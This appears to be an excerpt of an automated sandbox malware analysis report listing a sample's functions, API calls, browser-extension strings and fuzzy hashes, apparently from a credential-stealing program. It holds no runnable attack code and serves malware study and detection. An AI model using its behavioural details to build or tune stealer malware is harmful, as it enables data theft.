Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesswsprintf
String ID: %hs
API String ID: 659108358-2783943728
Opcode ID: a2d1222b377fc3304f55ce0aa2500adad0c2a2d90715c5043ce73364ad1d5f17
Instruction ID: abe7276d6e58fd7f286e9bcc6e4dd5022fdd169b0d4b331efbe0e5b16b2cc016
Opcode Fuzzy Hash: a2d1222b377fc3304f55ce0aa2500adad0c2a2d90715c5043ce73364ad1d5f17
Instruction Fuzzy Hash: 47E08C70E49308BBDB00DB94ED0AF6D77B8EB44302F000196FD0987340EA719F008B96

Function 61E40BB5 Relevance: 6.4, APIs: 5, Instructions: 106COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E40C37
memcmp.MSVCRT ref: 61E40C5C
memcmp.MSVCRT ref: 61E40C86
memcmp.MSVCRT ref: 61E40CB5
memcmp.MSVCRT ref: 61E40CE1

Memory Dump Source

Source File: 00000000.00000002.2771208385.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2771175630.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771281770.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771353251.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771383427.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771478338.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_5BQwrSLxIZ.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 8cc521fb16cdd100886a572f5b312f8a70bae0a598922c27761b03018ed4fb84
Instruction ID: fd79a925e1d847c1357e69ee8e74f21d123acc92255d85b94bee504056160bb0
Opcode Fuzzy Hash: 8cc521fb16cdd100886a572f5b312f8a70bae0a598922c27761b03018ed4fb84
Instruction Fuzzy Hash: C0414EB0A083058BE7049FA9D68439EBAF5EFD5358F25C83DE898CB384D775D4458B42

Function 6C8FA8A2 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(C9386719,00000000,00000000,?), ref: 6C8FA905

Part of subcall function 6C8F82D1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6C8FA340,?,00000000,-00000008), ref: 6C8F8332

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6C8FAB57
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6C8FAB9D
GetLastError.KERNEL32 ref: 6C8FAC40

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: acd1deb1077b12f403698a53e0a22c58cb806f42cda49cd08a558241a5535bea
Instruction ID: bd8b6baf7dbdf0b00ab5bf381afaefd31dcd1da29a74c0940865f52ab968d248
Opcode Fuzzy Hash: acd1deb1077b12f403698a53e0a22c58cb806f42cda49cd08a558241a5535bea
Instruction Fuzzy Hash: 29D18B75E042489FCF15CFA8C9809EDBBB5EF09364F24892AE865EB741D730A946CB50

Function 61EAAF5A Relevance: 6.3, APIs: 1, Strings: 3, Instructions: 332stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 61EAB012

Part of subcall function 61E0AE03: free.MSVCRT ref: 61E0AE3D

Strings

pcx, xrefs: 61EAAFA8
matchinfo, xrefs: 61EAAF5B
bua, xrefs: 61EAAFCC

Memory Dump Source

Source File: 00000000.00000002.2771208385.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2771175630.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771281770.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771353251.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771383427.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771478338.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_5BQwrSLxIZ.jbxd

Similarity

API ID: freestrcmp
String ID: bua$matchinfo$pcx
API String ID: 716601943-237985100
Opcode ID: 2a963459d172c6dcf1f049c06f05f33e9b67e2e1b1ce72d58d691bf1dedfaa3f
Instruction ID: d7a9de28f1ba4d9dbc53b777f24a38c05efd697a91aa6da7b783da7e5ea27d52
Opcode Fuzzy Hash: 2a963459d172c6dcf1f049c06f05f33e9b67e2e1b1ce72d58d691bf1dedfaa3f
Instruction Fuzzy Hash: 2FE1EE74D043598FEB10CFA8C480B9DBBF1BB49318F64C46AE8A8AB351D775E985CB41

Function 0040D500 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,02CC1280,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D581
lstrlenA.KERNEL32(00000000), ref: 0040D798
lstrlenA.KERNEL32(00000000), ref: 0040D7AC
DeleteFileA.KERNEL32(00000000), ref: 0040D82B

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 4c1525e857f093a45c2341733fa41754f3496238513f024d29210b144bef9689
Instruction ID: cd95120e3309aa2a4ee5e09d67847ecab6e8b781cb92854c7d2ac691bd2160a2
Opcode Fuzzy Hash: 4c1525e857f093a45c2341733fa41754f3496238513f024d29210b144bef9689
Instruction Fuzzy Hash: CF911672E111089BCB04FBA1EC66DEE7339AF14314F50456EF11672095EF387A98CB6A

Function 0040D880 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,02CC1280,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D901
lstrlenA.KERNEL32(00000000), ref: 0040DA9F
lstrlenA.KERNEL32(00000000), ref: 0040DAB3
DeleteFileA.KERNEL32(00000000), ref: 0040DB32

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 1acd3d45d618d939c79b20cdc9903d53f52bed8242236e24ba2a76c9b265152c
Instruction ID: 660f6b77f2ff2b442eb80c9f7963c7c0f8ff679996332a2a68bd7dee448c32b7
Opcode Fuzzy Hash: 1acd3d45d618d939c79b20cdc9903d53f52bed8242236e24ba2a76c9b265152c
Instruction Fuzzy Hash: 28812572E111089BCB04FBA5EC66DEE7339AF14314F40455FF10662095EF387A98CB6A

Function 6C8F3F0F Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 6C8F3FD6
___AdjustPointer.LIBCMT ref: 6C8F3FF9
___AdjustPointer.LIBCMT ref: 6C8F4095

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 0791a48e578c1512151dc5e0238b2e5f4bf5db134782987d7b4a0b19f12a2358
Instruction ID: 7d222b1dde2a0a304027863a1c02d1d145fb5a0e8e73d855cf47de605c71eee7
Opcode Fuzzy Hash: 0791a48e578c1512151dc5e0238b2e5f4bf5db134782987d7b4a0b19f12a2358
Instruction Fuzzy Hash: 8051C1726066069FEB398F55C740BAA77B4EFC0398F20492EE83587AA0D735D852C791

Function 0040F5A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
Part of subcall function 0040A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
Part of subcall function 0040A110: LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
Part of subcall function 0040A110: ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
Part of subcall function 0040A110: LocalFree.KERNEL32(00410447), ref: 0040A1E0
Part of subcall function 0040A110: CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

Part of subcall function 00418FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418FE2

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00421678,00420D93), ref: 0040F64C
lstrlenA.KERNEL32(00000000), ref: 0040F66B

Strings

moz-extension+++, xrefs: 0040F6AD
^userContextId=4294967295, xrefs: 0040F69C

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: a668f0b5c1f6502724a3c0bc780dc3de9f2cfacf85d3b3d884689a94e88397b6
Instruction ID: 3808d15f7e0f9f9184562117c9aa29465858450d569164ac2a98ea8b538c64df
Opcode Fuzzy Hash: a668f0b5c1f6502724a3c0bc780dc3de9f2cfacf85d3b3d884689a94e88397b6
Instruction Fuzzy Hash: 42517E72E011089BCB04FBA1ECA6DED7339AF54304F40852EF50667195EF386A5CCB6A

Function 00419660 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0041967B

Part of subcall function 00418EE0: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,004196AE,00000000), ref: 00418EEB
Part of subcall function 00418EE0: HeapAlloc.KERNEL32(00000000,?,?,004196AE,00000000), ref: 00418EF2
Part of subcall function 00418EE0: wsprintfW.USER32 ref: 00418F08

OpenProcess.KERNEL32(00001001,00000000,?), ref: 0041973B
TerminateProcess.KERNEL32(00000000,00000000), ref: 00419759
CloseHandle.KERNEL32(00000000), ref: 00419766

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 396451647-0
Opcode ID: 82399361bd33b1cf0f2f2efae6d7ff06a364100a0860e5f280d97042be913252
Instruction ID: 560ccd148ccd609fdd46163d5cc95655726043f4ba77f136f2594cdeec1b1660
Opcode Fuzzy Hash: 82399361bd33b1cf0f2f2efae6d7ff06a364100a0860e5f280d97042be913252
Instruction Fuzzy Hash: C4315BB1E01208DBDB14DFE0DD49BEDB779BF44700F10445AF506AB284EB786A88CB56

Function 6C8F6F1D Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 6C8F82D1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6C8FA340,?,00000000,-00000008), ref: 6C8F8332

GetLastError.KERNEL32 ref: 6C8F6F81
__dosmaperr.LIBCMT ref: 6C8F6F88
GetLastError.KERNEL32(?,?,?,?), ref: 6C8F6FC2
__dosmaperr.LIBCMT ref: 6C8F6FC9

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 948a48bbe7a8bf3e5aaba0cb351d88d3535e378830d1d4a3c3a2f8a16002e96c
Instruction ID: cdd06038c9ee4b9bc0bec37a8b8f810d9fefc51f88a711a6f3c08cbafc040029
Opcode Fuzzy Hash: 948a48bbe7a8bf3e5aaba0cb351d88d3535e378830d1d4a3c3a2f8a16002e96c
Instruction Fuzzy Hash: E3218671618215AFE7319F6ACA8085AB7B9EF453EC7048F29E934D7A40D731EC128760

Function 6C8F8374 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6C8F837C

Part of subcall function 6C8F82D1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6C8FA340,?,00000000,-00000008), ref: 6C8F8332

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6C8F83B4
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6C8F83D4

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 44c2b03962b8a2061a50f883cba36a06184807c0ae53bb87b109648b9a2061f3
Instruction ID: 77ff81e1d562024ff999d07d592ce1e501b762be3bfe0f1d48b0c867e2635010
Opcode Fuzzy Hash: 44c2b03962b8a2061a50f883cba36a06184807c0ae53bb87b109648b9a2061f3
Instruction Fuzzy Hash: D811A5B2605619BF6721177B5E88CAF6A7CDF471DC710093EF420D2600FB60DD125570

Function 00418950 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E10,00000000,?), ref: 004189BF
HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E10,00000000,?), ref: 004189C6
wsprintfA.USER32 ref: 004189E0

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Strings

%dx%d, xrefs: 004189D7

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 2716131235-2206825331
Opcode ID: 1a001bca3f565143e81130c797a5c6902db2b2322f06df86b5277f64a988cf2a
Instruction ID: ec511e81278765dc739de052021e02f912fcc6e2b9c8bb96b49730fbd7d6010e
Opcode Fuzzy Hash: 1a001bca3f565143e81130c797a5c6902db2b2322f06df86b5277f64a988cf2a
Instruction Fuzzy Hash: 8B217FB1E45214AFDB00DFD4DC45FAEBBB9FB48710F10411AFA05A7280D779A900CBA5

Function 00417B10 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DE8,00000000,?), ref: 00417B40
HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DE8,00000000,?), ref: 00417B47
GetLocalTime.KERNEL32(?,?,?,?,?,00420DE8,00000000,?), ref: 00417B54
wsprintfA.USER32 ref: 00417B83

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID:
API String ID: 1243822799-0
Opcode ID: 0540aeb4fecf84a9ec5d2ba81123392b91a3586b08fb2a3d433314a2c6e1e60a
Instruction ID: c3980473cd5af67d898b1e7796d4e9c7fbcb3b6a311921eeb92eb57329937120
Opcode Fuzzy Hash: 0540aeb4fecf84a9ec5d2ba81123392b91a3586b08fb2a3d433314a2c6e1e60a
Instruction Fuzzy Hash: D4112AB2D09218ABCB14DBC9DD45BBEB7B9EB4CB11F10411AF605A2280E3395940C7B5

Function 6C8FC226 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,6C8FB9D9,00000000,00000001,00000000,?,?,6C8FAC94,?,00000000,00000000), ref: 6C8FC23D
